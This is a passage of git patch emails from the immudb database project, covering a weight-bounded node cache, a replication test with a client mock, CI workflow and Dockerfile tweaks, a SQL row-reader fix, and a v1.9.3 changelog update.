TestReplication(t *testing.T) { path := t.TempDir() - _, err := NewTxReplicator(xid.New(), nil, nil, nil) - require.ErrorIs(t, err, ErrIllegalArguments) - rOpts := DefaultOptions(). WithPrimaryDatabase("defaultdb"). WithPrimaryHost("127.0.0.1"). @@ -60,3 +61,56 @@ func TestReplication(t *testing.T) { err = txReplicator.Stop() require.NoError(t, err) } + +func TestReplicationIsAbortedOnServerVersionMismatch(t *testing.T) { + path := t.TempDir() + + clientMock := &immuClientMock{} + + rOpts := DefaultOptions(). + WithPrimaryDatabase("defaultdb"). + WithPrimaryHost("127.0.0.1"). + WithPrimaryPort(3322). + WithPrimaryUsername("immudb"). + WithPrimaryPassword("immudb"). + WithStreamChunkSize(DefaultChunkSize). + WithClientFactoryFunc(func(s string, i int) client.ImmuClient { + return &immuClientMock{} + }) + + logger := logger.NewSimpleLogger("logger", os.Stdout) + + db, err := database.NewDB("replicated_defaultdb", nil, database.DefaultOption().AsReplica(true).WithDBRootPath(path), logger) + require.NoError(t, err) + + txReplicator, err := NewTxReplicator(xid.New(), db, rOpts, logger) + txReplicator.client = clientMock + require.NoError(t, err) + + err = txReplicator.Start() + require.NoError(t, err) + + time.Sleep(time.Millisecond * 10) // make sure replication stopped + + err = txReplicator.Stop() + require.ErrorIs(t, err, ErrAlreadyStopped) + require.ErrorIs(t, txReplicator.Error(), ErrPrimaryServerVersionMismatch) +} + +type immuClientMock struct { + client.ImmuClient +} + +func (c *immuClientMock) OpenSession(ctx context.Context, user []byte, pass []byte, database string) (err error) { + return nil +} + +func (c *immuClientMock) ServerInfo(ctx context.Context, req *schema.ServerInfoRequest) (*schema.ServerInfoResponse, error) { + return &schema.ServerInfoResponse{ + Version: "test", + }, nil +} + +func (c *immuClientMock) CloseSession(ctx context.Context) error { + return nil +} From 4b94befee904a2e483f1cad491f28528d093a29b Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Wed, 22 May 2024 10:42:59 +0200 Subject: [PATCH 1018/1062] Implement memory-bound cache --- embedded/cache/cache.go | 100 ++++++++++++++++++++------- embedded/cache/cache_test.go | 126 +++++++++++++++++++++++++++++------ embedded/tbtree/options.go | 47 +++++++------ embedded/tbtree/tbtree.go | 54 +++++++-------- pkg/api/schema/schema.proto | 2 +- 5 files changed, 237 insertions(+), 92 deletions(-) diff --git a/embedded/cache/cache.go b/embedded/cache/cache.go index 3d4de3bad4..7e86a473b6 100644 --- a/embedded/cache/cache.go +++ b/embedded/cache/cache.go @@ -34,9 +34,10 @@ var ( type Cache struct { data map[interface{}]*entry - hand *list.Element - list *list.List - size int + hand *list.Element + list *list.List + weight int + maxWeight int mutex sync.RWMutex } @@ -44,49 +45,86 @@ type Cache struct { type entry struct { value interface{} visited uint32 + weight int order *list.Element } -func NewCache(size int) (*Cache, error) { - if size < 1 { +func NewCache(maxWeight int) (*Cache, error) { + if maxWeight < 1 { return nil, ErrIllegalArguments } return &Cache{ - data: make(map[interface{}]*entry, size), - list: list.New(), - size: size, + data: make(map[interface{}]*entry), + list: list.New(), + weight: 0, + maxWeight: maxWeight, }, nil } -func (c *Cache) Resize(size int) { +func (c *Cache) Resize(newWeight int) { c.mutex.Lock() defer c.mutex.Unlock() - for size < c.list.Len() { - c.evict() + for c.weight > newWeight { + _, entry, _ := c.evict() + c.weight -= entry.weight } - c.size = size + c.maxWeight = newWeight } func (c *Cache) Put(key interface{}, value interface{}) (interface{}, interface{}, error) { - if key == nil || value == nil { - return nil, nil, ErrIllegalArguments - } + return c.PutWeighted(key, value, 1) +} +func (c *Cache) PutWeighted(key interface{}, value interface{}, weight int) (interface{}, interface{}, error) { c.mutex.Lock() defer c.mutex.Unlock() + return c.put(key, value, weight, 0) +} + +func (c *Cache) put(key interface{}, value interface{}, weight int, visited uint32) (interface{}, interface{}, error) { + if key == nil || value == nil || weight == 0 || weight > c.maxWeight { + return nil, nil, ErrIllegalArguments + } + e, ok := c.data[key] if ok { + if c.weight-e.weight+weight > c.maxWeight { + c.pop(key) + return c.put(key, value, weight, 1) + } + + c.weight = c.weight - e.weight + weight + e.visited = 1 e.value = value + e.weight = weight + return nil, nil, nil } + evictedKey, evictedValue, err := c.evictWhileFull(weight) + if err != nil { + return nil, nil, err + } + + c.weight += weight + + c.data[key] = &entry{ + value: value, + visited: visited, + weight: weight, + order: c.list.PushFront(key), + } + return evictedKey, evictedValue, nil +} + +func (c *Cache) evictWhileFull(weight int) (interface{}, interface{}, error) { var rkey, rvalue interface{} - if c.list.Len() >= c.size { + for c.weight+weight > c.maxWeight { evictedKey, entry, err := c.evict() if err != nil { return nil, nil, err @@ -94,12 +132,8 @@ func (c *Cache) Put(key interface{}, value interface{}) (interface{}, interface{ rkey = evictedKey rvalue = entry.value - } - c.data[key] = &entry{ - value: value, - visited: 0, - order: c.list.PushFront(key), + c.weight -= entry.weight } return rkey, rvalue, nil } @@ -158,6 +192,10 @@ func (c *Cache) Pop(key interface{}) (interface{}, error) { c.mutex.Lock() defer c.mutex.Unlock() + return c.pop(key) +} + +func (c *Cache) pop(key interface{}) (interface{}, error) { e, ok := c.data[key] if !ok { return nil, ErrKeyNotFound @@ -170,6 +208,8 @@ func (c *Cache) Pop(key interface{}) (interface{}, error) { c.list.Remove(e.order) delete(c.data, key) + c.weight -= e.weight + return e.value, nil } @@ -191,11 +231,25 @@ func (c *Cache) Replace(k interface{}, v interface{}) (interface{}, error) { return oldV, nil } -func (c *Cache) Size() int { +func (c *Cache) Weight() int { + c.mutex.Lock() + defer c.mutex.Unlock() + + return c.weight +} + +func (c *Cache) Available() int { + c.mutex.Lock() + defer c.mutex.Unlock() + + return c.maxWeight - c.weight +} + +func (c *Cache) MaxWeight() int { c.mutex.Lock() defer c.mutex.Unlock() - return c.size + return c.maxWeight } func (c *Cache) EntriesCount() int { diff --git a/embedded/cache/cache_test.go b/embedded/cache/cache_test.go index 35bdcadcfe..5b1f3593d2 100644 --- a/embedded/cache/cache_test.go +++ b/embedded/cache/cache_test.go @@ -43,7 +43,7 @@ func TestCacheCreation(t *testing.T) { cache, err := NewCache(cacheSize) require.NoError(t, err) require.NotNil(t, cache) - require.Equal(t, cacheSize, cache.Size()) + require.Equal(t, cacheSize, cache.MaxWeight()) _, _, err = cache.evict() require.Error(t, err) @@ -93,7 +93,7 @@ func TestCacheCreation(t *testing.T) { func TestEvictionPolicy(t *testing.T) { fillCache := func(cache *Cache) { - for i := 0; i < cache.Size(); i++ { + for i := 0; i < cache.MaxWeight(); i++ { key, value, err := cache.Put(i, i+1) require.NoError(t, err) require.Nil(t, key) @@ -101,22 +101,34 @@ func TestEvictionPolicy(t *testing.T) { } } + t.Run("should evict multiple items", func(t *testing.T) { + cache := setupCache(t) + fillCache(cache) + + el := rand.Intn(cache.MaxWeight()) + + _, _, err := cache.PutWeighted(cache.MaxWeight(), cache.MaxWeight()+1, el+1) + require.NoError(t, err) + + require.Equal(t, cache.Weight(), cache.EntriesCount()+el) + require.Equal(t, cache.MaxWeight()-el, cache.EntriesCount()) + }) + t.Run("should evict non visited items", func(t *testing.T) { t.Run("starting from element at middle", func(t *testing.T) { cache := setupCache(t) - fillCache(cache) - el := rand.Intn(cache.Size()) + el := rand.Intn(cache.MaxWeight()) for i := 0; i < el; i++ { _, err := cache.Get(i) require.NoError(t, err) } - for i := el; i < cache.Size(); i++ { - key, _, err := cache.Put(cache.Size()+i, cache.Size()+i+1) + for i := el; i < cache.MaxWeight(); i++ { + key, _, err := cache.Put(cache.MaxWeight()+i, cache.MaxWeight()+i+1) require.NoError(t, err) - require.Equal(t, i%cache.size, key) + require.Equal(t, i%cache.maxWeight, key) } }) @@ -125,13 +137,13 @@ func TestEvictionPolicy(t *testing.T) { fillCache(cache) - for i := 0; i < (cache.Size()+1)/2; i++ { + for i := 0; i < (cache.MaxWeight()+1)/2; i++ { _, err := cache.Get(2 * i) require.NoError(t, err) } - for i := 0; i < cache.Size()/2; i++ { - key, _, err := cache.Put(cache.Size()+i, cache.Size()+i+1) + for i := 0; i < cache.MaxWeight()/2; i++ { + key, _, err := cache.Put(cache.MaxWeight()+i, cache.MaxWeight()+i+1) require.NoError(t, err) require.Equal(t, key, 2*i+1) } @@ -142,9 +154,9 @@ func TestEvictionPolicy(t *testing.T) { fillCache(cache) - n := 1 + rand.Intn(cache.Size()-1) + n := 1 + rand.Intn(cache.MaxWeight()-1) for i := 0; i < n; i++ { - key, _, err := cache.Put(cache.Size()+i, cache.Size()+i+1) + key, _, err := cache.Put(cache.MaxWeight()+i, cache.MaxWeight()+i+1) require.NoError(t, err) require.Equal(t, key, i) } @@ -156,14 +168,14 @@ func TestEvictionPolicy(t *testing.T) { fillCache(cache) - for i := 0; i < cache.Size(); i++ { + for i := 0; i < cache.MaxWeight(); i++ { _, err := cache.Get(i) require.NoError(t, err) } - n := 1 + rand.Intn(cache.Size()-1) + n := 1 + rand.Intn(cache.MaxWeight()-1) for i := 0; i < n; i++ { - key, _, err := cache.Put(cache.Size()+i, cache.Size()+i+1) + key, _, err := cache.Put(cache.MaxWeight()+i, cache.MaxWeight()+i+1) require.NoError(t, err) require.Equal(t, key, i) } @@ -175,7 +187,7 @@ func TestApply(t *testing.T) { cache, err := NewCache(cacheSize) require.NoError(t, err) require.NotNil(t, cache) - require.Equal(t, cacheSize, cache.Size()) + require.Equal(t, cacheSize, cache.MaxWeight()) for i := 0; i < cacheSize; i++ { _, _, err = cache.Put(i, 10*i) @@ -269,7 +281,7 @@ func TestCacheResizing(t *testing.T) { cache, err := NewCache(initialCacheSize) require.NoError(t, err) require.NotNil(t, cache) - require.Equal(t, initialCacheSize, cache.Size()) + require.Equal(t, initialCacheSize, cache.MaxWeight()) for i := 0; i < initialCacheSize; i++ { rkey, _, err := cache.Put(i, i) @@ -280,7 +292,7 @@ func TestCacheResizing(t *testing.T) { // cache growing largerCacheSize := 20 cache.Resize(largerCacheSize) - require.Equal(t, largerCacheSize, cache.Size()) + require.Equal(t, largerCacheSize, cache.MaxWeight()) for i := 0; i < initialCacheSize; i++ { v, err := cache.Get(i) @@ -296,7 +308,7 @@ func TestCacheResizing(t *testing.T) { // cache shrinking cache.Resize(initialCacheSize) - require.Equal(t, initialCacheSize, cache.Size()) + require.Equal(t, initialCacheSize, cache.MaxWeight()) for i := 0; i < initialCacheSize; i++ { _, err = cache.Get(i) @@ -308,3 +320,79 @@ func TestCacheResizing(t *testing.T) { require.ErrorIs(t, err, ErrKeyNotFound) } } + +func TestPutWeighted(t *testing.T) { + t.Run("should evict entries according to weight", func(t *testing.T) { + cache, err := NewCache(1024 * 1024) // 1MB + require.NoError(t, err) + + weights := make([]int, 0, 1000) + + expectedWeight := 0 + + n := 0 + currWeight := 100 + rand.Intn(1024) + for cache.Weight()+currWeight <= cache.MaxWeight() { + k, v, err := cache.PutWeighted(n, n, currWeight) + require.NoError(t, err) + require.Nil(t, k) + require.Nil(t, v) + + expectedWeight += currWeight + weights = append(weights, currWeight) + currWeight = 100 + rand.Intn(1024) + n++ + } + require.Equal(t, expectedWeight, cache.Weight()) + require.Equal(t, n, cache.EntriesCount()) + + weight := currWeight + rand.Intn(cache.Weight()-currWeight+1) + + expectedEvictedWeight := 0 + expectedEntriesCount := 0 + for i, w := range weights { + expectedEvictedWeight += w + + if expectedEvictedWeight+cache.Available() >= weight { + expectedEntriesCount = n - i + break + } + } + + _, _, err = cache.PutWeighted(n+1, n+1, weight) + require.NoError(t, err) + + require.Equal(t, expectedEntriesCount, cache.EntriesCount()) + require.Equal(t, expectedWeight-expectedEvictedWeight+weight, cache.Weight()) + }) + + t.Run("update existing item weight", func(t *testing.T) { + cache, err := NewCache(5) + require.NoError(t, err) + + _, _, err = cache.PutWeighted(1, 1, 0) + require.ErrorIs(t, err, ErrIllegalArguments) + + _, _, err = cache.PutWeighted(1, 1, 10) + require.ErrorIs(t, err, ErrIllegalArguments) + + cache.PutWeighted(1, 1, 2) + cache.PutWeighted(2, 2, 3) + + require.Equal(t, 5, cache.Weight()) + + key, _, err := cache.PutWeighted(2, 2, 1) + require.NoError(t, err) + require.Nil(t, key) + require.Equal(t, 3, cache.Weight()) + require.Equal(t, 2, cache.EntriesCount()) + + key, _, err = cache.PutWeighted(2, 2, 4) + require.NoError(t, err) + require.Equal(t, key, 1) + + require.Equal(t, 4, cache.Weight()) + require.Equal(t, 1, cache.EntriesCount()) + }) + +} diff --git a/embedded/tbtree/options.go b/embedded/tbtree/options.go index 850c35daa2..4e0f7c7591 100644 --- a/embedded/tbtree/options.go +++ b/embedded/tbtree/options.go @@ -18,6 +18,7 @@ package tbtree import ( "fmt" + "math" "os" "time" @@ -26,26 +27,28 @@ import ( "github.com/codenotary/immudb/embedded/logger" ) -const DefaultMaxNodeSize = 4096 -const DefaultFlushThld = 100_000 -const DefaultSyncThld = 1_000_000 -const DefaultFlushBufferSize = 4096 -const DefaultCleanUpPercentage float32 = 0 -const DefaultMaxActiveSnapshots = 100 -const DefaultRenewSnapRootAfter = time.Duration(1000) * time.Millisecond -const DefaultCacheSize = 100_000 -const DefaultFileMode = os.FileMode(0755) -const DefaultFileSize = 1 << 26 // 64Mb -const DefaultMaxKeySize = 1024 -const DefaultMaxValueSize = 512 -const DefaultCompactionThld = 2 -const DefaultDelayDuringCompaction = time.Duration(10) * time.Millisecond - -const DefaultNodesLogMaxOpenedFiles = 10 -const DefaultHistoryLogMaxOpenedFiles = 1 -const DefaultCommitLogMaxOpenedFiles = 1 - -const MinCacheSize = 1 +const ( + DefaultMaxNodeSize = 4096 + DefaultFlushThld = 100_000 + DefaultSyncThld = 1_000_000 + DefaultFlushBufferSize = 4096 + DefaultCleanUpPercentage float32 = 0 + DefaultMaxActiveSnapshots = 100 + DefaultRenewSnapRootAfter = time.Duration(1000) * time.Millisecond + DefaultCacheSize = 1 << 27 // 128Mb + DefaultFileMode = os.FileMode(0755) + DefaultFileSize = 1 << 26 // 64Mb + DefaultMaxKeySize = 1024 + DefaultMaxValueSize = 512 + DefaultCompactionThld = 2 + DefaultDelayDuringCompaction = time.Duration(10) * time.Millisecond + + DefaultNodesLogMaxOpenedFiles = 10 + DefaultHistoryLogMaxOpenedFiles = 1 + DefaultCommitLogMaxOpenedFiles = 1 + + MinCacheSize = 1 +) type AppFactoryFunc func( rootPath string, @@ -121,11 +124,11 @@ func (opts *Options) Validate() error { return fmt.Errorf("%w: invalid FileSize", ErrInvalidOptions) } - if opts.maxKeySize <= 0 { + if opts.maxKeySize <= 0 || opts.maxKeySize > math.MaxUint16 { return fmt.Errorf("%w: invalid MaxKeySize", ErrInvalidOptions) } - if opts.maxValueSize <= 0 { + if opts.maxValueSize <= 0 || opts.maxValueSize > math.MaxUint16 { return fmt.Errorf("%w: invalid MaxValueSize", ErrInvalidOptions) } diff --git a/embedded/tbtree/tbtree.go b/embedded/tbtree/tbtree.go index 9ea65328ca..4f92473900 100644 --- a/embedded/tbtree/tbtree.go +++ b/embedded/tbtree/tbtree.go @@ -23,7 +23,6 @@ import ( "errors" "fmt" "io" - "io/ioutil" "math" "os" "path/filepath" @@ -41,26 +40,28 @@ import ( "github.com/prometheus/client_golang/prometheus" ) -var ErrIllegalArguments = fmt.Errorf("tbtree: %w", embedded.ErrIllegalArguments) -var ErrInvalidOptions = fmt.Errorf("%w: invalid options", ErrIllegalArguments) -var ErrorPathIsNotADirectory = errors.New("tbtree: path is not a directory") -var ErrReadingFileContent = errors.New("tbtree: error reading required file content") -var ErrKeyNotFound = fmt.Errorf("tbtree: %w", embedded.ErrKeyNotFound) -var ErrorMaxKeySizeExceeded = errors.New("tbtree: max key size exceeded") -var ErrorMaxValueSizeExceeded = errors.New("tbtree: max value size exceeded") -var ErrOffsetOutOfRange = fmt.Errorf("tbtree: %w", embedded.ErrOffsetOutOfRange) -var ErrIllegalState = embedded.ErrIllegalState // TODO: grpc error mapping hardly relies on the actual message, see IllegalStateHandlerInterceptor -var ErrAlreadyClosed = errors.New("tbtree: index already closed") -var ErrSnapshotsNotClosed = errors.New("tbtree: snapshots not closed") -var ErrorToManyActiveSnapshots = errors.New("tbtree: max active snapshots limit reached") -var ErrCorruptedFile = errors.New("tbtree: file is corrupted") -var ErrCorruptedCLog = errors.New("tbtree: commit log is corrupted") -var ErrCompactAlreadyInProgress = errors.New("tbtree: compact already in progress") -var ErrCompactionThresholdNotReached = errors.New("tbtree: compaction threshold not yet reached") -var ErrIncompatibleDataFormat = errors.New("tbtree: incompatible data format") -var ErrTargetPathAlreadyExists = errors.New("tbtree: target folder already exists") -var ErrNoMoreEntries = fmt.Errorf("tbtree: %w", embedded.ErrNoMoreEntries) -var ErrReadersNotClosed = errors.New("tbtree: readers not closed") +var ( + ErrIllegalArguments = fmt.Errorf("tbtree: %w", embedded.ErrIllegalArguments) + ErrInvalidOptions = fmt.Errorf("%w: invalid options", ErrIllegalArguments) + ErrorPathIsNotADirectory = errors.New("tbtree: path is not a directory") + ErrReadingFileContent = errors.New("tbtree: error reading required file content") + ErrKeyNotFound = fmt.Errorf("tbtree: %w", embedded.ErrKeyNotFound) + ErrorMaxKeySizeExceeded = errors.New("tbtree: max key size exceeded") + ErrorMaxValueSizeExceeded = errors.New("tbtree: max value size exceeded") + ErrOffsetOutOfRange = fmt.Errorf("tbtree: %w", embedded.ErrOffsetOutOfRange) + ErrIllegalState = embedded.ErrIllegalState // TODO: grpc error mapping hardly relies on the actual message, see IllegalStateHandlerInterceptor + ErrAlreadyClosed = errors.New("tbtree: index already closed") + ErrSnapshotsNotClosed = errors.New("tbtree: snapshots not closed") + ErrorToManyActiveSnapshots = errors.New("tbtree: max active snapshots limit reached") + ErrCorruptedFile = errors.New("tbtree: file is corrupted") + ErrCorruptedCLog = errors.New("tbtree: commit log is corrupted") + ErrCompactAlreadyInProgress = errors.New("tbtree: compact already in progress") + ErrCompactionThresholdNotReached = errors.New("tbtree: compaction threshold not yet reached") + ErrIncompatibleDataFormat = errors.New("tbtree: incompatible data format") + ErrTargetPathAlreadyExists = errors.New("tbtree: target folder already exists") + ErrNoMoreEntries = fmt.Errorf("tbtree: %w", embedded.ErrNoMoreEntries) + ErrReadersNotClosed = errors.New("tbtree: readers not closed") +) const Version = 3 @@ -454,7 +455,7 @@ func snapFolder(folder string, snapID uint64) string { } func recoverFullSnapshots(path, prefix string, logger logger.Logger) (snapIDs []uint64, err error) { - fis, err := ioutil.ReadDir(path) + fis, err := os.ReadDir(path) if err != nil { return nil, err } @@ -737,7 +738,8 @@ func (t *TBtree) cachePut(n node) { t.nmutex.Lock() defer t.nmutex.Unlock() - r, _, _ := t.cache.Put(n.offset(), n) + size, _ := n.size() + r, _, _ := t.cache.PutWeighted(n.offset(), n, size) if r != nil { metricsCacheEvict.WithLabelValues(t.path).Inc() } @@ -765,7 +767,8 @@ func (t *TBtree) nodeAt(offset int64, updateCache bool) (node, error) { } if updateCache { - r, _, _ := t.cache.Put(n.offset(), n) + size, _ := n.size() + r, _, _ := t.cache.PutWeighted(n.offset(), n, size) if r != nil { metricsCacheEvict.WithLabelValues(t.path).Inc() } @@ -1368,9 +1371,6 @@ func (t *TBtree) Compact() (uint64, error) { } snap := t.newSnapshot(0, t.root) - if err != nil { - return 0, err - } t.compacting = true defer func() { diff --git a/pkg/api/schema/schema.proto b/pkg/api/schema/schema.proto index 09b2a535dd..bf6811f3e2 100644 --- a/pkg/api/schema/schema.proto +++ b/pkg/api/schema/schema.proto @@ -1144,7 +1144,7 @@ message IndexNullableSettings { // Number of new index entries between disk flushes with file sync NullableUint32 syncThreshold = 2; - // Size of the Btree node cache + // Size of the Btree node cache in bytes NullableUint32 cacheSize = 3; // Max size of a single Btree node in bytes From 2e9e86afbb3b4be5a93760dc3da0ef2b320aca6c Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Wed, 22 May 2024 14:40:49 +0200 Subject: [PATCH 1019/1062] remove quotation --- .github/workflows/performance.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/performance.yml b/.github/workflows/performance.yml index d8d561401a..940e24cb30 100644 --- a/.github/workflows/performance.yml +++ b/.github/workflows/performance.yml @@ -75,7 +75,7 @@ jobs: **Duration**: ${{ env.duration }}s | **immudb version**: ${{ env.version }}\n $(jq -r '.benchmarks[] | .name + "\n" + .summary' perf-test-results.json) \n **Check details [here](${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }})** - \"}" > mattermost.json && echo MM_PAYLOAD=\'$(cat mattermost.json)\' >> $GITHUB_ENV + \"}" > mattermost.json && echo MM_PAYLOAD=$(cat mattermost.json) >> $GITHUB_ENV - name: Notify on immudb channel on Mattermost if: github.event.schedule == '0 0 * * *' uses: mattermost/action-mattermost-notify@master From c74e324a8329951ab8f0e041c3c0e20244e68a04 Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Wed, 22 May 2024 14:50:45 +0200 Subject: [PATCH 1020/1062] add workflow_dispatch --- .github/workflows/performance.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/.github/workflows/performance.yml b/.github/workflows/performance.yml index 940e24cb30..2bda5f7636 100644 --- a/.github/workflows/performance.yml +++ b/.github/workflows/performance.yml @@ -1,6 +1,7 @@ name: Performance tests on: + workflow_dispatch: workflow_call: inputs: go-version: From 98c9a0bedc2837afafb072e499ac8a9b9334153c Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Wed, 22 May 2024 15:35:40 +0200 Subject: [PATCH 1021/1062] Fix issue with wrong position of values in raw_reader --- embedded/sql/row_reader.go | 15 ++++++++++++++- 1 file changed, 14 insertions(+), 1 deletion(-) diff --git a/embedded/sql/row_reader.go b/embedded/sql/row_reader.go index 07132374aa..c2d8508294 100644 --- a/embedded/sql/row_reader.go +++ b/embedded/sql/row_reader.go @@ -496,7 +496,20 @@ func (r *rawRowReader) Read(ctx context.Context) (*Row, error) { voff += n - valuesByPosition[pos] = val + // make sure value is inserted in the correct position + for pos < len(r.table.cols) && r.table.cols[pos].id < colID { + pos++ + } + + if pos == len(r.table.cols) || r.table.cols[pos].id != colID { + return nil, ErrCorruptedData + } + + if r.scanSpecs.IncludeHistory { + valuesByPosition[pos+1] = val + } else { + valuesByPosition[pos] = val + } pos++ valuesBySelector[EncodeSelector("", r.tableAlias, col.colName)] = val From d5ba1dae87da8f5d1e2450ef4aa2303ac7953c6c Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Wed, 22 May 2024 18:30:36 +0200 Subject: [PATCH 1022/1062] Update version in Makefile --- Makefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Makefile b/Makefile index bb9fe90986..cf19c6b4e8 100644 --- a/Makefile +++ b/Makefile @@ -16,7 +16,7 @@ export GO111MODULE=on SHELL=/bin/bash -o pipefail -VERSION=1.9DOM.2 +VERSION=1.9.3 DEFAULT_WEBCONSOLE_VERSION=1.0.18 SERVICES=immudb immuadmin immuclient TARGETS=linux/amd64 windows/amd64 darwin/amd64 linux/s390x linux/arm64 freebsd/amd64 darwin/arm64 From 9577064370929c35f2138241dda12adf435b2b00 Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Wed, 22 May 2024 22:54:29 +0200 Subject: [PATCH 1023/1062] Fix iteration issue in ServerInfo() --- pkg/server/server.go | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/pkg/server/server.go b/pkg/server/server.go index b2126cde79..c319739d5c 100644 --- a/pkg/server/server.go +++ b/pkg/server/server.go @@ -828,6 +828,9 @@ func (s *ImmuServer) numTransactions() (uint64, error) { var count uint64 for i := 0; i < s.dbList.Length(); i++ { db, err := s.dbList.GetByIndex(i) + if err == database.ErrDatabaseNotExists { + continue + } if err != nil { return 0, err } @@ -848,6 +851,9 @@ func (s *ImmuServer) totalDBSize() (int64, error) { var size int64 for i := 0; i < s.dbList.Length(); i++ { db, err := s.dbList.GetByIndex(i) + if err == database.ErrDatabaseNotExists { + continue + } if err != nil { return -1, err } From cc2766ec4fe34142267fe6097c67c1c2c0015f32 Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Thu, 23 May 2024 08:32:28 +0200 Subject: [PATCH 1024/1062] fix stress.yml --- .github/workflows/stress.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/stress.yml b/.github/workflows/stress.yml index b8faf61ccd..6869fed0a1 100644 --- a/.github/workflows/stress.yml +++ b/.github/workflows/stress.yml @@ -53,6 +53,6 @@ jobs: - name: Notify on immudb channel on Mattermost if: github.event.schedule == '0 0 * * *' uses: mattermost/action-mattermost-notify@master - env: + with: MATTERMOST_WEBHOOK_URL: ${{ secrets.MATTERMOST_WEBHOOK_URL }} MATTERMOST_CHANNEL: 'immudb-tests' From 0aad280b2d73eee1cef4fc33179669fa123eb712 Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Thu, 23 May 2024 10:36:45 +0200 Subject: [PATCH 1025/1062] Create /tmp folder in Dockerfile --- build/Dockerfile | 1 + 1 file changed, 1 insertion(+) diff --git a/build/Dockerfile b/build/Dockerfile index 8ab4437af3..cff6e7ad52 100644 --- a/build/Dockerfile +++ b/build/Dockerfile @@ -83,6 +83,7 @@ COPY --from=build /src/immudb /usr/sbin/immudb COPY --from=build /src/immuadmin /usr/local/bin/immuadmin COPY --from=build --chown="$IMMU_UID:$IMMU_GID" /empty "$IMMUDB_HOME" COPY --from=build --chown="$IMMU_UID:$IMMU_GID" /empty "$IMMUDB_DIR" +COPY --from=build --chown="$IMMU_UID:$IMMU_GID" /empty /tmp COPY --from=build "/etc/ssl/certs/ca-certificates.crt" "/etc/ssl/certs/ca-certificates.crt" EXPOSE 3322 From 5487dd300655083ff68c4a72c2edb38ca84dd1bb Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Thu, 23 May 2024 11:21:46 +0200 Subject: [PATCH 1026/1062] release: v1.9.3 --- CHANGELOG.md | 367 ++++++++++++++++++++++++++++-------------------- helm/Chart.yaml | 4 +- 2 files changed, 213 insertions(+), 158 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 68ad67df94..0946d6f919 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,11 +4,63 @@ All notable changes to this project will be documented in this file. This projec ## [Unreleased] + +## [v1.9.3] - 2024-05-23 +### Changes +- fix some comments +- refactor image building +- The GitHub workflow push.yml was updated to use the repository owner's Docker images instead of fixed ones. This change allows for more flexibility and control when using Docker images, and ensures that the correct images are used based on the repository owner. +- Update GitHub Actions to use checkout[@v4](https://github.com/v4) +- Add support to ARM64 +- **embedded/cache:** replace sync.Mutex with sync.RWMutex +- **embedded/cache:** validate input params before obtaining mutex lock + +### Reverts +- test with github token +- chore(embedded/cache): replace sync.Mutex with sync.RWMutex + + -## [v1.9DOM.1] - 2023-11-16 +## [v1.9DOM.2] - 2023-12-29 +### Bug Fixes +- apply fix for CVE-2023-44487 +- performance test regression + ### Changes -- License update to BSL -- Updated dependencies +- **deps:** bump actions/setup-go from 3 to 5 +- **deps:** bump actions/upload-artifact from 3 to 4 +- **deps:** bump actions/download-artifact from 3 to 4 +- **deps:** bump google.golang.org/grpc in /test/e2e/truncation +- **deps:** bump google.golang.org/protobuf from 1.31.0 to 1.32.0 + + + +## [v1.9DOM.2-RC1] - 2023-12-21 +### Bug Fixes +- performance test regression +- remove influxdb dependencies +- correct the test after the merge and latest refactor +- source /etc/sysconfig/immudb on AWS EC2 startup + +### Changes +- add influxdb (needed for performance test) dependency +- use goveralls token variable +- **deps:** bump golang.org/x/crypto in /test/columns +- **deps:** bump golang.org/x/crypto in /tools/mkdb +- **deps:** bump golang.org/x/crypto +- **deps:** bump golang.org/x/crypto in /test/e2e/truncation +- **deps:** bump golang.org/x/crypto +- **deps:** bump github.com/rogpeppe/go-internal from 1.9.0 to 1.12.0 +- **deps:** bump golang.org/x/net from 0.17.0 to 0.19.0 +- **deps:** bump golang.org/x/crypto from 0.14.0 to 0.17.0 + +### Features +- add s3 (aws) role based auth as an option +- automatically convert uuid strings and byte slices to uuid values + +### Reverts +- Merge remote-tracking branch 'origin/dependabot/go_modules/github.com/rogpeppe/go-internal-1.12.0' into release/v1.9.2 + ## [v1.9DOM.1] - 2023-11-16 @@ -1505,19 +1557,18 @@ All notable changes to this project will be documented in this file. This projec ## [v1.2.0-RC1] - 2021-12-07 ### Bug Fixes - Update jaswdr/faker to v1.4.3 to fix build on 32-bit systems -- **CI:** Fix building and releasing almalinux images - **Makefile:** Fix building immudb for specific os/arch - **Makefile:** Use correct version of the grpc-gateway package -- **embedded/sql:** fix rollback stmt -- **embedded/sql:** correct max key length validation based on specified col max length - **embedded/sql:** ensure determinism and no value overlaps distinct rows - **embedded/sql:** fix inserting calculated null values +- **embedded/sql:** correct max key length validation based on specified col max length +- **embedded/sql:** fix rollback stmt - **embedded/sql:** normalize parameters with lower case identifiers +- **embedded/sql:** param substitution in LIKE expression - **embedded/sql:** Use correct statement for subquery - **embedded/sql:** Do not modify value returned by colsBySelector -- **embedded/sql:** distinct row reader with limit argument -- **embedded/sql:** param substitution in LIKE expression - **embedded/sql:** Fix SELECT * when joining with subquery +- **embedded/sql:** distinct row reader with limit argument - **embedded/store:** release lock when tx has a conflict - **embedded/store:** read conflict validation - **embedded/store:** typo in error message @@ -1531,54 +1582,54 @@ All notable changes to this project will be documented in this file. This projec ### Changes - refining sdk client constructor and add readOnly tx guard - Update build/RELEASING.md documentation. -- Remove experimental S3 warning from README +- fix more tests - decoupled token service - token is handled internally by sdk. Remove useless code -- fix more tests - remove token service from client options and fix tests - **cmd/immuadmin/command:** fix immuadmin token name on client creation - **cmd/immuclient:** deleteKeys functioin and updates after metadata-related changes - **cmd/immuclient:** temporary disable displaying hash in non-verified methods - **embeddded/tbtree:** leverage snapshot id to identify 